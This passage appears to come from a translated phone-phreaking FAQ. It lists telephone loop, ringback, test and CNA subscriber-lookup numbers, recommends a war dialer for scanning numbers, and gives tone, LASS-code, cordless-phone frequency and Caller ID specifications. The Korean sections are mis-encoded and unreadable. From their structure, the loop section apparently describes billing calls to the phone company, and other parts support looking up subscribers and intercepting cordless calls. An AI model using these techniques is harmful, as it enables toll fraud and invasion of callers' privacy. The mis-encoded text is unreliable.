614 998-xxxx Columbus/Steubenville, OH

615 920-XXXX Chatanooga/Knoxville/Nashville, TN

615 930-xxxx Chatanooga/Knoxville/Nashville, TN

616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, I

619 331-xxxx San Diego, CA

619 332-xxxx San Diego, CA

N 659 981-XXXX Newmarket, NH

N 703 511-xxx-xxxx VA

703 958-xxxx Alexandria/Arlington/Roanoke, VA

708 511-xxxx Chicago/Elgin, IL

N 713 231-xxxx Los Angeles, CA

714 330? Anaheim, CA (GTE)

714 33?-xxxx Anaheim, CA (PacBell)

716 981-xxxx Rochester, NY (Rochester Tel)

718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY

719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO

801 938-xxxx Utah

801 939-xxxx Utah

802 987-xxxx Vermont

804 260 Charlottesville/Newport News/Norfolk/Richmond, VA

805 114 Bakersfield/Santa Barbara, CA

805 980-xxxx Bakersfield/Santa Barbara, CA

810 951-xxx-xxxx Pontiac/Southfield/Troy, MI

813 711 Ft. Meyers/St. Petersburg/Tampa, FL

817 971 Ft. Worth/Waco, TX (Flashhook, then 2#)

906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI

908 55?-xxxx New Brunswick, NJ

908 953 New Brunswick, NJ

913 951-xxxx Lawrence/Salina/Topeka, KS

914 660-xxxx-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY

Canada:

204 590-xxx-xxxx Manitoba

416 57x-xxxx Toronto, Ontario

416 99x-xxxx Toronto, Ontario

416 999-xxx-xxxx Toronto, Ontario

506 572+xxx-xxxx New Brunswick

514 320-xxx-xxxx Montreal, Quebec

519 999-xxx-xxxx London, Ontario

N 604 311-xxx-xxxx British Columbia

613 999-xxx-xxxx Ottawa, Ontario

705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario

N 819 320-xxx-xxxx Quebec

N 905 999-xxx-xxxx Hamilton/Mississauga/Niagra Falls, Ontario

Australia: +61 199

Brazil: 109 or 199

N France: 3644

Holland: 99-xxxxxx

New Zealand: 137

Sweden: 0058

United Kingdom: 174 or 1744 or 175 or 0500-89-0011

N Amsterdam 0196

N Hilversum 0123456789

N Breukelen 0123456789

N Groningen 951


¿¬°á¹øÈ£(loop)À̶õ?

ÀÌ FAQ´Â ToneLoc v0.99 »ç¿ëÀÚ ¸Å´º¾ó¿¡¼­ ¹ßÃéÇÑ °ÍÀÌ´Ù.

Loop(¿¬°á¹øÈ£)¶õ ÀüÈ­¹øÈ£ÀÇ ½ÖÀ¸·Î ´ë°³´Â ¹Ù·Î ºÙ¾î ÀÖ´Â ¹øÈ£ÀÌ´Ù. ¿¹¸¦ µé¾î 836-9998°ú 836-9999¿Í °°´Ù. ÀÌ ¹øÈ£´Â Àüȭȸ»ç¿¡¼­ Å×½ºÆ®¸¦ Çϱâ À§Çؼ­ »ç¿ëÇÑ´Ù. ±×·¸´Ù¸é ¿¬°á¹øÈ£°¡ ¿ì¸®¿¡°Ô ÁÁÀº ÀÌÀ¯´Â ¹«¾ùÀΰ¡? ¸î °¡Áö ÁÁ¿¡¼­ ÁÁ´Ù. ¿©±â °£´ÜÇÑ ¿¬°á¹øÈ£ »ç¿ë ¹æ¹ýÀÌ ÀÖ´Ù.

°¢ ¿¬°á¹øÈ£´Â µÎ °³ÀÇ ³¡(end)ÀÌ ÀÖ´Ù. 'high' end¿Í 'low' endÀÌ´Ù. ÇÑ ÂÊ ³¡Àº ÀüÈ­°¡ °É·Á¿À¸é ´ë°³ Áö¼ÓÀûÀÌ°í, ½Ã²ô·¯¿î À½(tone)À» ³½´Ù. ´Ù¸¥ ÇÑ ÂÊÀº Á¶¿ëÇÏ´Ù. ¿¬°á¹øÈ£´Â ´ë°³ ½ÅÈ£À½ÀÌ ¿ï¸®Áö ¾Ê´Â´Ù. µÎ ³¡¿¡ ÀüÈ­¸¦ °É¸é, ¿¬°á¹øÈ£¸¦ ÅëÇØ ´ëÈ­°¡ °¡´ÉÇÏ´Ù. ¿¬°á¹øÈ£´Â À½¼ºÀ» Â÷´ÜÇÏ¿© Áö¼ÛÀûÀÎ À½À» Á¦¿ÜÇÑ ¾Æ¹« °Íµµ Åë°ú ½ÃÅ°Áö ¾Ê´Â °Íµµ ÀÖ´Ù. ÀÌ·± °ÍµéÀº ¿ì¸®¿¡°Ô º°·Î ¼Ò¿ëÀÌ ¾ø´Ù. ¿©±â¿¡ ¿¬°á¹øÈ£¸¦ ¾î¶»°Ô ÀÌ¿ëÇÏ´ÂÁö ´ëÇÑ °ÍÀÌ ÀÖ´Ù. ÀüÈ­¿ä±ÝÀ» ¹°¸®´Â °Í!! ¸ÕÀú, ½Ã²ô·¯¿î ¿òÀÌ ³ª´Â ÇÑ ÂÊ ³¡¿¡ ÀüÈ­¸¦ °Ç´Ù. ±³È¯¿øÀ̳ª ´Ù¸¥ »ç¶÷ÀÌ ´Ù¸¥ ÂÊ ³¡¿¡ ÀüÈ­¸¦ °É¸é À½ÀÌ Á¶¿ëÇØÁø´Ù. ±Ý¹æ ÀüÈ­¸¦ ¹ÞÀº °Íó·³ ÀÀ´äÀ» ÇÑ´Ù. "¿©º¸¼¼¿ä", "¾È³ç", "í¿À", "¿©" µî ¾Æ¹«°Å³ª. ±×·³ ±³È¯¿øÀº ÀüÈ­¸¦ µý °÷À¸·Î °É¾ú´Ù°í »ý°¢ÇÑ´Ù. ±×·¯¸é µÆ´Ù. ÀÌÁ¦ ÀüÈ­¿ä±ÝÀº ¿¬°á¹øÈ£·Î ³ª°£´Ù. Áö¿ª RBOC°¡ ÀüÈ­¿ä±ÝÀ» ³»°Ô µÈ´Ù. ÀÌ ¹æ¹ýÀº ½ÅÁßÇÏ°Ô »ç¿ëÇØ¾ß ÇÑ´Ù. ±×·¸Áö ¾ÊÀ¸¸é, ¿¬°á¹øÈ£°¡ ¾ø¾îÁú °ÍÀÌ´Ù. ¿¬°á¹øÈ£´Â ÀüÈ­ ¹øÈ£¸¦ °¡¸£ÃÄÁÖ°í ½ÍÁö ¾ÊÀº »ç¶÷¿¡°Ô ÀüÈ­ÇÒ ¼ö ÀÖ´Â ÁÁÀº ¹æ¹ýÀÌ´Ù.

³»°¡ ÀÖ´Â Áö¿ªÀÇ ¿¬°á¹øÈ£´Â?

¹øÈ£Áß¿¡¼­ ¸¹Àº ¼ö°¡ ´õ ÀÌ»ó »ç¿ëÇÒ ¼ö ¾ø´Â °ÍÀÌ´Ù. ÀÌ ¿¬°á¹øÈ£°¡ ÀÖ´Â °÷¿¡ »ê´Ù¸é, ½ÃµµÇØ º¸°í ¸ÞÀÏ·Î °á°ú¸¦ ¾Ë·ÁÁֱ⠹ٶõ´Ù.

CNA¹øÈ£¶õ ¹«¾ùÀΰ¡?

CNA´Â Customer Name and Address(°í°´ À̸§°ú ÁÖ¼Ò)¸¦ ³ªÅ¸³½´Ù. CNA ¹øÈ£´Â Àüȭȸ»ç Á÷¿øÀÌ »ç¿ëÇÏ´Â ¹øÈ£·Î ÀüÈ­¸¦ °É¾î¼­ ÀüÈ­ ¹øÈ£¿¡ ´ëÇÑ Á¤º¸¸¦ ¾òÀ» ¼ö ÀÖ´Â °ÍÀÌ´Ù. ÀüÈ­¼ö¸®°øÀÌ ¾Ë ¼ö ¾ø´Â ÀüÈ­¼±À» ¹ß°ßÇϸé, ANI ¹øÈ£¸¦ ÀÌ¿ëÇÏ¿© ÀüÈ­ ¹øÈ£¸¦ ãÀ» ¼ö ÀÖ°í, CNA ±³È¯¿ø¿¡ ÀüÈ­¸¦ °É¾î, ´©°¡ ±× ¹øÈ£¸¦ ¼ÒÀ¯ÇÏ°í ±× »ç¶÷ÀÌ ¾îµð¿¡ »ì°í ÀÖ´ÂÁö ¾Ë ¼ö ÀÖ´Ù.

Á¤»óÀûÀÏ °æ¿ì CNA ¹øÈ£´Â ÀüÈ­±¹ Á÷¿ø¸¸ÀÌ ¾Ë ¼ö ÀÖ´Ù. »çÀ¯ ȸ»ç¿¡¼­ CNA Á¤º¸¸¦ ¾òÀ» ¼ö ÀÖ´Ù. ¾Æ·¡ÀÇ µÎ ȸ»ç°¡ ±×·± Áß·ù´Ù.

ÀÌ ¹øÈ£´Â 900¹ø ¼­ºñ½º·Î ºÐ´ç 1´Þ·¯ Á¤µµ°¡ µç´Ù.

312³ª 708 ±¹¹ø ¹øÈ£¸¦ ¾´´Ù¸é, AmeriTech°¡ ÀϹÝÀÎÀ» À§ÇÑ CNA ¼­ºñ½º¸¦ ÇÏ°í ÀÖ´Ù. ¹øÈ£´Â 796-9000ÀÌ´Ù. °¡°ÝÀº $.35/call ÀÌ´Ù. ±×¸®°í ÅëÈ­´ç 2°³ÀÇ ¹øÈ£¸¦ ã¾Æ º¼ ¼ö ÀÖ´Ù.

415 ¹øÈ£ Áö¿ª¿¡ ÀÖ´Ù¸é, Pacific Bell¿¡¼­ CNL ¼­ºñ½º¸¦ (415)705-9299¹øÀ¸·Î ÇÏ°í ÀÖ´Ù.

Bell Atlantic Áö¿ª¿¡¼­ ÀüÈ­¸¦ ÀÌ¿ëÇÏ°í ÀÖ´Ù¸é (201)555-5454¹øÀ̳ª, (908)555-5454¹øÀ¸·Î °É¾î¼­ CNA¸¦ ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù. °¡°ÝÀº ÅëÈ­´ç $.50ÀÌ´Ù.


³»°¡ ÀÖ´Â Áö¿ªÀÇ Àüȭȸ»ç CNA¹øÈ£´Â?

203 (203)771-8080 CT

312 (312)796-9600 Chicago, IL

506 (506)555-1313 New Brunswick

513 (513)397-9110 Cincinnati/Dayton, OH

516 (516)321-5700 Hempstead/Long Island, NY

614 (614)464-0123 Columbus/Steubenville, OH

813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL

NYNEX (518)471-8111 New York, Connecticut, Vermont, Rhode

Island, New Hampshire, and Massachusetts


Ç×»ó ÅëÈ­ÁßÀÎ ¹øÈ£´Â ¹«¾ùÀΰ¡?

´ÙÀ½ ¸ñ·Ï¿¡¼­, "xxx"´Â ¿©·¯ ÇÁ¸®ÇȽº¿¡¼­ °è¼ÓÀûÀ¸·Î ÅëÈ­ÁßÀÎ °°Àº ¹øÈ£¸¦ ÀǹÌÇÑ´Ù. À̰͵éÀÇ ´ëºÎºÐ¿¡´Â ÅëÈ­Áß À½À» ³»´Â ±³È¯°ú Á¤»óÀûÀÎ ±³È¯ÀÌ ÀÖ´Ù. *ALWAYS* ÇÑâ ÀüÈ­ ÅëÈ­°¡ ¸¹Àº °æ¿ì Ç×»ó ÀÌ·¯ÇÑ ¹øÈ£¸¦ 3 ¹ø Á¤µµ Å×½ºÆ® ÇÑ´Ù.

N 800 999-1803 WATS

N 201 635-9970 Hackensack/Jersey City/Newark/Paterson, NJ

N 212 724-9970 Manhattan, NY

N 213 xxx-1117 Los Angeles, CA

N 213 xxx-1118 Los Angeles, CA

N 213 xxx-1119 Los Angeles, CA

N 213 xxx-9198 Los Angeles, CA

216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH

303 431-0000 Denver, CO

303 866-8660 Denver, CO

N 310 xxx-1117 Long Beach, CA

N 310 xxx-1118 Long Beach, CA

N 310 xxx-1119 Long Beach, CA

N 310 xxx-9198 Long Beach, CA

316 952-7265 Dodge City/Wichita, KS

501 377-99xx AR

U 719 472-3772 Colorado Springs/Leadville/Pueblo, CO

805 255-0699 Bakersfield/Santa Barbara, CA

N 714 xxx-1117 Anaheim, CA

N 714 xxx-1118 Anaheim, CA

N 714 xxx-1119 Anaheim, CA

N 714 xxx-9198 Anaheim, CA

N 717 292-0009 Harrisburg/Scranton/Wilkes-Barre, PA

N 818 xxx-1117 Pasadena, CA

N 818 xxx-1118 Pasadena, CA

N 818 xxx-1119 Pasadena, CA

N 818 xxx-9198 Pasadena, CA

U 818 885-0699 Pasadena, CA (???-0699 is a pattern)

N 860 525-7078 Hartford, CT

906 632-9999 Marquette/Sault Ste. Marie, MI

906 635-9999 Marquette/Sault Ste. Marie, MI



ÀüÈ­ ¼­ºñ½º¸¦ Àá½Ã Áß´ÜÇÏ´Â ¹øÈ£´Â ¹«¾ùÀΰ¡?

NPA°¡ ³ªÅ¸³ª ÀÖÁö ¾Ê´Ù¸é LATA ¸¦ Æ÷ÇÔÇÏÁö ¾Ê°í ÀÖÀ» °æ¿ì, 119(GTD5 ½ºÀ§Ä¡)³ª 511°ú °°Àº ÈçÇÑ ¹øÈ£¸¦ ½ÃµµÇØ º¸¶ó.

314 511 Columbia/Jefferson City/St.Louis, MO (1 minute)

404 420 Atlanta, GA (5 minutes)

405 953 Enid/Oklahoma City, OK (1 minute)

U 407 511 Orlando, FL (United Telephone) (1 minute)

N 414 958-0013 Fond du Lac/Green Bay/Milwaukee/Racine, WI (1 minute)

512 200 Austin/Corpus Christi, TX (1 minute)

516 480 Hempstead/Long Island, NY (1 minute)

603 980 NH

614 xxx-9894 Columbus/Steubenville, OH

805 119 Bakersfield/Santa Barbara, CA (3 minutes)

919 211 or 511 Durham, NC (10 min - 1 hour)

°¨½Ã Å×½ºÆ® ÀåÄ¡(Proctor Test Set)¶õ?

°¨½Ã Å×½ºÆ® ÀåÄ¡(Proctor Test Set)Àº ÀüÈ­ ¼±¿¡ ÀÌ»óÀ» ¹ß°ßÇϱâ À§Çؼ­ Àüȭȸ»ç Á÷¿øÀÌ ÀÌ¿ëÇÏ´Â µµ±¸ÀÌ´Ù. °¨½Ã Å×½ºÆ® ÀåÄ¡¿¡ ÀüÈ­¸¦ °É¾î¼­ ¿øÇÏ´Â Å×½ºÆ®¸¦ Çϱâ À§ÇÑ ¹øÈ£¸¦ ´©¸£¸é µÈ´Ù.


³»°¡ ÀÖ´Â Áö¿ªÀÇ °¨½Ã Å×½ºÆ® ÀåÄ¡´Â ¹«¾ùÀΰ¡?

NPA°¡ ³ªÅ¸³ª ÀÖÁö ¾Ê´Ù¸é, 111À̳ª 117°ú °°Àº ÈçÇÑ ¹øÈ£¸¦ ½ÃµµÇØ º¸¶ó.


½ºÄ³´×(scanning)À̶õ?

½ºÄ³´×À̶õ Èï¹Ì·Î¿î ¹Ý¼ÛÆÄ(ÄÄÇ»ÅÍ)³ª À½À» ã±â À§Çؼ­ ¾öû³ª°Ô ¸¹Àº ÀüÈ­¹øÈ£¿¡ ÀüÈ­¸¦ °É¾îº¸´Â °ÍÀÌ´Ù.

½ºÄ³´×Àº ¼ÕÀ¸·Î ÇÒ ¼ö ÀÖÁö¸¸, ¼ÕÀ¸·Î ÇÏ´Â °ÍÀº Áö°ã°í ½Ã°£ÀÌ ¸Å¿ì ¿À·¡ °É¸°´Ù.

´õ ÁÁÀº ¹æ¹ýÀº ½ºÄ³´× ÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ´Â °ÍÀÌ´Ù. ½ºÄ³´× ÇÁ·Î±×·¥Àº ¿ö ´ÙÀ̾ó·¯(war dialer)À̳ª µð¸Õ ´ÙÀ̾ó·¯(demon dialer)¶ó°í ºÎ¸¥´Ù. ÇöÀç, °¡Àå ÁÁÀº ¿ö ´ÙÀ̾󷯴 PC-DOS¿¡¼­ »ç¿ëÇÒ ¼ö ÀÖ´Â ToneLocÀ¸·Î Minor Threat¿Í Mucho Maas°¡ ¸¸µç °ÍÀÌ´Ù. ToneLocÀº ftp.paranoia.com/pub/toneloc/¿¡¼­ ftp·Î Àü¼Û ¹ÞÀ» ¼ö ÀÖ´Ù.

¿ö ´ÙÀ̾󷯴 ¸¹Àº ÀüÈ­¹øÈ£¿¡ ÀüÈ­¸¦ °É¾î¼­ °¢ ¹øÈ£¿¡ ´ëÇÑ ·Î±×¸¦ ³²±ä´Ù. ±×¸®°í ³ª¼­ ¹Ý¼ÛÆijª ÅæÀÌ ÀÖ¾ú´ø °÷¿¡ ´Ù½Ã ÀüÈ­¸¦ ÇØ º¼ ¼ö ÀÖ´Ù.

½ºÄ³´×Àº ºÒ¹ýÀΰ¡?

2600¿¡¼­ ¹ßÃé, 1990³â º½, 27 ÆäÀÌÁö :

- Àοë½ÃÀÛ -

Áö¿ª¿¡ µû¶ó ½ºÄ³´×Àº ºÒ¹ýÀÌ´Ù. ±×·¸Áö¸¸, ½ºÄ³´×À» Çß´Ù´Â ÀÌÀ¯·Î °í¼Ò¸¦ ÇÏ´Â °ÍÀº ¸Å¿ì Èûµé´Ù ¿Ö³ÄÇÏ¸é ½ºÄ³´×ÀÇ ¸ñÀûÀÌ ÀüÈ­¸¦ ÇÑ ¹øÈ£¿¡ ´ëÇØ ´Ü ÇÑ ¹ø¸¸ ÇÏ´Â °ÍÀ̱⠶§¹®ÀÌ´Ù. ½ºÄ³´×ÇÏ´Â ÄÄÇ»ÅÍ¿¡¼­ ÀüÈ­¸¦ ´Ü ÇÑ ¹ø ¹ÞÀº °ÍÀ» ħÇضó°í »ý°¢ÇÏ´Â »ç¶÷Àº ¾øÀ» °ÍÀÌ´Ù. ¾î¶² Áß¾Ó ±¹¿¡¼­´Â »ç¶÷µéÀÌ ½ºÄ³´×À» ½ÃÀÛÇϸé ÀÌ»óÇÑ ¹ÝÀÀÀ» º¸ÀÎ´Ù°í ¾Ë·ÁÁ® ÀÖ´Ù. ¶§¶§·Î, »õÅ°´×À» ½ÃÀÛÇÏ°í ¸î ½Ã°£ÀÌ Áö³ª¸é ´ÙÀ̾óÅæ(dial tone)ÀÌ ¾È ³ª°Ô µÈ´Ù°í ÇÑ´Ù. ±×·¯³ª, ÀÏÁ¤ÇÑ Á¤Ã¥ÀÌ ÀÖÀº °ÍÀº ¾Æ´Ï´Ù. ¸ÕÀú ±×·¸°Ô Çؼ­´Â ¾È µÈ´Ù´Â ¹ÌÄ£(crazy) ¹ýÀ» ã´Â °ÍÀÌ °¡Àå ÁÁÀ» °Í °°´Ù. ¸¸ÀÏ ÃßÃøÇÑ´ë·Î ±×·± ¹ýÀÌ ¾ø´Ù¸é, ÇÑ ¹ø ÇØ º¸´Â °ÍÀÌ´Ù.

- ÀÎ¿ë ³¡ -

ÄÝ·Î¶óµµ ÁÖ¿¡¼­´Â ½ºÄ³´×À» ºÒ¹ýÀ¸·Î ±ÔÁ¤ÇÏ´Â ¹ýÀÌ Åë°úµÇ¾úÀ½¿¡ À¯ÀÇÇÏÀÚ. ÅëÈ­¸¦ ÇÏ·Á´Â ¸ñÀûÀÌ ¾Æ´Ñ ÀüÈ­´Â Äݷζ󵵿¡¼­´Â ºÒ¹ýÀÌ´Ù.


ÀüÈ­¼ö¸®°øÀÇ Àåºñ¸¦ ¾îµð¼­ »ì ¼ö ÀÖ³ª?

Contact East

335 Willow Street

North Andover, MA 01845-5995

(508)682-2000

Jensen Tools

7815 S. 46th Street

Phoenix, AZ 85044-5399

(800)426-1194

Specialized Products

3131 Premier Drive

Irving, TX 75063

(800)866-5353

Time Motion Tools

12778 Brookprinter Place

Poway, CA 92064

(619)679-0303



DTMF ÁÖÆļö¶õ ¹«¾ùÀΰ¡?

DTMF´Â Dual Tone Multi FrequencyÀÇ ¾àÀÚÀÌ´Ù. ÀÌ°ÍÀº ÀüÈ­ÀÇ ¼ýÀÚÆÇ¿¡¼­ ¼ýÀÚ¸¦ ´©¸¦ ¶§ ¹ß»ýÇÏ´Â À½ÀÌ´Ù. ÀÌ À½Àº Çà°ú ¿­ÀÇ ÇÕ¸¸Å­ÀÌ´Ù. ABCD Å°´Â Ç¥ÁØ ÀüÈ­±â¿¡´Â ¾ø´Ù.

1209 1336 1477 1633

697 1 2 3 A

770 4 5 6 B

852 7 8 9 C

941 * 0 # D



ÀüÈ­À½ÀÇ ÁÖÆļö´Â ¹«¾ùÀΰ¡?

Type Hz On Off

---------------------------------------------------------------------

Dial Tone 350 & 440 --- ---

Busy Signal 480 & 620 0.5 0.5

Toll Congestion 480 & 620 0.2 0.3

Ringback (Normal) 440 & 480 2.0 4.0

Ringback (PBX) 440 & 480 1.5 4.5

Reorder (Local) 480 & 620 3.0 2.0

Invalid Number 200 & 400

Hang Up Warning 1400 & 2060 0.1 0.1

Hang Up 2450 & 2600 --- ---



<* (LASS)ÄÚµå´Â ¸ðµÎ ¹«¾ùÀΰ¡?

Local Area Signal Service(LASS)¿Í Custom Calling Feature Control Code:

(À̰͵éÀÌ Ç¥ÁØÀ¸·Î »ý°¢µÇ³ª, Áö¿ªÀûÀ¸·Î Â÷ÀÌ°¡ ÀÖÀ» ¼ö ÀÖ´Ù)

(These appear to be standard, but may be changed locally)

Service Tone Pulse/rotary Notes

--------------------------------------------------------------------------

Assistance/Police *12 n/a [1]

Cancel forwarding *30 n/a [C1]

Automatic Forwarding *31 n/a [C1]

Notify *32 n/a [C1] [2]

Intercom Ring 1 (..) *51 1151 [3]

Intercom Ring 2 (.._) *52 1152 [3]

Intercom Ring 3 (._.) *53 1153 [3]

Extension Hold *54 1154 [3]

Customer Originated Trace *57 1157

Selective Call Rejection *60 1160 (or Call Screen)

Selective Distinct Alert *61 1161

Selective Call Acceptance *62 1162

Selective Call Forwarding *63 1163

ICLID Activation *65 1165

Call Return (outgoing) *66 1166

Number Display Blocking *67 1167 [4]

Computer Access Restriction *68 1168

Call Return (incoming) *69 1169

Call Waiting disable *70 1170 [4]

No Answer Call Transfer *71 1171

Usage Sensitive 3 way call *71 1171

Call Forwarding: start *72 or 72# 1172

Call Forwarding: cancel *73 or 73# 1173

Speed Calling (8 numbers) *74 or 74# 1174

Speed Calling (30 numbers) *75 or 75# 1175

Anonymous Call Rejection *77 1177 [5] [M: *58]

Call Screen Disable *80 1180 (or Call Screen) [M: *50]

Selective Distinct Disable *81 1181 [M: *51]

Select. Acceptance Disable *82 1182 [4] [7]

Select. Forwarding Disable *83 1183 [M: *53]

ICLID Disable *85 1185

Call Return (cancel out) *86 1186 [6] [M: *56]

Anon. Call Reject (cancel) *87 1187 [5] [M: *68]

Call Return (cancel in) *89 1189 [6] [M: *59]

Notes:

[C1] - Means code used for Cellular One service

[1] - for cellular in Pittsburgh, PA A/C 412 in some areas

[2] - indicates that you are not local and maybe how to reach you

[3] - found in Pac Bell territory; Intercom ring causes a distinctive

ring to be generated on the current line; Hold keeps a call

connected until another extension is picked up

[4] - applied once before each call

[5] - A.C.R. blocks calls from those who blocked Caller ID

(used in C&P territory, for instance)

[6] - cancels further return attempts

[7] - *82 (1182) has been mandated to be the nationwide code for

"Send CLID info regardless of the default setting on this

phone line."

[M: *xx] - alternate code used for MLVP (multi-line variety package)

by Bellcore. It goes by different names in different RBOCs.

In Bellsouth it is called Prestige. It is an arrangement of

ESSEX like features for single or small multiple line groups.

The reason for different codes for some features in MLVP is that

call-pickup is *8 in MLVP so all *8x codes are reassigned *5x



¹«¼± ÀüÈ­°¡ ÀÛµ¿ÇÏ´Â ÁÖÆļö´Â ¹«¾ùÀΰ¡?

1 ¼¼´ë 46/49Mhz ÀüÈ­ÀÇ ÁÖÆļö°¡ ¾Æ·¡¿¡ ÀÖ´Ù.

Channel Handset Transmit Base Transmit

------- ---------------- -------------

1 49.670mhz 46.610mhz

2 49.845 46.630

3 49.860 46.670

4 49.770 46.710

5 49.875 46.730

6 49.830 46.770

7 49.890 46.830

8 49.930 46.870

9 49.990 46.930

10 49.970 46.970

"900Mhz"ÀÇ ½Å¼¼´ë ¹«¼±ÀüÈ­±â´Â 902-228Mhz »çÀÌÀÇ ÁÖÆļö°¡ ÇÒ´çµÈ´Ù. 30-100KhzÀÇ Ã¤³Î´ç ¿©À¯°¡ ÀÖ´Ù.

----------------------------------------------------------------

Panasonic KX-T9000 (60 Channels)

base 902.100 - 903.870 Base frequencies (30Khz spacing)

handset 926.100 - 927.870 Handset frequencies

CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET

-- ------- ------- -- ------- ------- -- ------- -------

01 902.100 926.100 11 902.400 926.400 21 902.700 926.700

02 902.130 926.130 12 902.430 926.430 22 902.730 926.730

03 902.160 926.160 13 902.460 926.460 23 902.760 926.760

04 902.190 926.190 14 902.490 926.490 24 902.790 926.790

05 902.220 926.220 15 902.520 926.520 25 902.820 926.820

06 902.250 926.250 16 902.550 926.550 26 902.850 926.850

07 902.280 926.280 17 902.580 926.580 27 902.880 926.880

08 902.310 926.310 18 902.610 926.610 28 902.910 926.910

09 902.340 926.340 19 902.640 926.640 29 902.940 926.940

10 902.370 926.370 20 902.670 926.670 30 902.970 926.970

31 903.000 927.000 41 903.300 927.300 51 903.600 927.600

32 903.030 927.030 42 903.330 927.330 52 903.630 927.630

33 903.060 927.060 43 903.360 927.360 53 903.660 927.660

34 903.090 927.090 44 903.390 927.390 54 903.690 927.690

35 903.120 927.120 45 903.420 927.420 55 903.720 927.720

36 903.150 927.150 46 903.450 927.450 56 903.750 927.750

37 903.180 927.180 47 903.480 927.480 57 903.780 927.780

38 903.210 927.210 48 903.510 927.510 58 903.810 927.810

39 903.240 927.240 49 903.540 927.540 59 903.840 927.840

40 903.270 927.270 50 903.570 927.570 60 903.870 927.870

------------------------------------------------------------

V-TECH TROPEZ DX900 (20 CHANNELS)

905.6 - 907.5 TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING)

925.5 - 927.4 HANDSET FREQUENCIES

CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET

-- ------- ------- -- ------- ------- -- ------- -------

01 905.600 925.500 08 906.300 926.200 15 907.000 926.900

02 905.700 925.600 09 906.400 926.300 16 907.100 927.000

03 905.800 925.700 10 906.500 926.400 17 907.200 927.100

04 905.900 925.800 11 906.600 926.500 18 907.300 927.200

05 906.000 925.900 12 906.700 926.600 19 907.400 927.300

06 906.100 926.000 13 906.800 926.700 20 907.500 927.400

07 906.200 926.100 14 906.900 926.800

------------------------------------------------------------

Other 900mhz cordless phones

AT&T #9120 - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ

OTRON CORP. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 MHZ

SAMSUNG #SP-R912- - - 903.0 & 927.0 MHZ

------------------------------------------------------------


¹ß½ÅÀÚ ½Äº°ÀÚ(caller-ID)´Â ¹«¾ùÀΰ¡?

This FAQ answer is stolen from Rockwell:

Calling Number Delivery (CND), better known as Caller ID, is a

telephone service intended for residential and small business

customers. It allows the called Customer Premises Equipment (CPE) to

receive a calling party's directory number and the date and time of

the call during the first 4 second silent interval in the ringing

cycle.

Parameters

~~~~~~~~~~

The data signalling interface has the following characteristics:

Link Type: 2-wire, simplex

Transmission Scheme: Analog, phase-coherent FSK

Logical 1 (mark) 1200 +/- 12 Hz

Logical 0 (space) 2200 +/- 22 Hz

Transmission Rate: 1200 bps

Transmission Level: 13.5 +/- dBm into 900 ohm load

Protocol

~~~~~~~~

The protocol uses 8-bit data words (bytes), each bounded by a start

bit and a stop bit. The CND message uses the Single Data Message

format shown below.

| Channel | Carrier | Message | Message | Data | Checksum |

| Seizure | Signal | Type | Length | Word(s) | Word |

| Signal | | Word | Word | | |

Channel Seizure Signal

~~~~~~~~~~~~~~~~~~~~~~

The channel seizure is 30 continuous bytes of 55h (01010101) providing

a detectable alternating function to the CPE (i.e. the modem data

pump).

Carrier Signal

~~~~~~~~~~~~~~

The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to

condition the receiver for data.

Message Type Word

~~~~~~~~~~~~~~~~~

The message type word indicates the service and capability associated

with the data message. The message type word for CND is 04h

(00000100).

Message Length Word

~~~~~~~~~~~~~~~~~~~

The message length word specifies the total number of data words to

follow.

Data Words

~~~~~~~~~~

The data words are encoded in ASCII and represent the following

information:

o The first two words represent the month

o The next two words represent the day of the month

o The next two words represent the hour in local military time

o The next two words represent the minute after the hour

o The calling party's directory number is represented by the

remaining words in the data word field

If the calling party's directory number is not available to the

terminating central office, the data word field contains an ASCII "O".

If the calling party invokes the privacy capability, the data word

field contains an ASCII "P".

Checksum Word

~~~~~~~~~~~~~

The Checksum Word contains the twos complement of the modulo 256 sum

of the other words in the data message (i.e., message type, message

length, and data words). The receiving equipment may calculate the

modulo 256 sum of the received words and add this sum to the received

checksum word. A result of zero generally indicates that the message

was correctly received. Message retransmission is not supported.

Example CNS Single Data Message

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

An example of a received CND message, beginning with the message type

word, follows:

04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51

04h= Calling number delivery information code (message type word)

12h= 18 decimal; Number of data words (date,time, and directory

number words)

ASCII 30,39= 09; September

ASCII 33,30= 30; 30th day

ASCII 31,32= 12; 12:00 PM

ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)

ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling

party's directory number

51h= Checksum Word

Data Access Arrangement (DAA) Requirements

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To receive CND information, the modem monitors the phone line between

the first and second ring bursts without causing the DAA to go off

hook in the conventional sense, which would inhibit the transmission

of CND by the local central office. A simple modification to an

existing DAA circuit easily accomplishes the task.

Modem Requirements

~~~~~~~~~~~~~~~~~~

Although the data signalling interface parameters match those of a

Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A

V.23 1200 bps modem receiver may be used to demodulate the Bell 202

signal. The ring indicate bit (RI) may be used on a modem to indicate

when to monitor the phone line for CND information. After the RI bit

sets, indicating the first ring burst, the host waits for the RI bit

to reset. The host then configures the modem to monitor the phone

line for CND information.

Signalling

~~~~~~~~~~

According to Bellcore specifications, CND signalling starts as early

as 300 mS after the first ring burst and ends at least 475 mS before

the second ring burst

Applications

~~~~~~~~~~~~

Once CND information is received the user may process the information

in a number of ways.

1. The date, time, and calling party's directory number can be

displayed.

2. Using a look-up table, the calling party's directory number can be

correlated with his or her name and the name displayed.

3. CND information can also be used in additional ways such as for:

a. Bulletin board applications

b. Black-listing applications

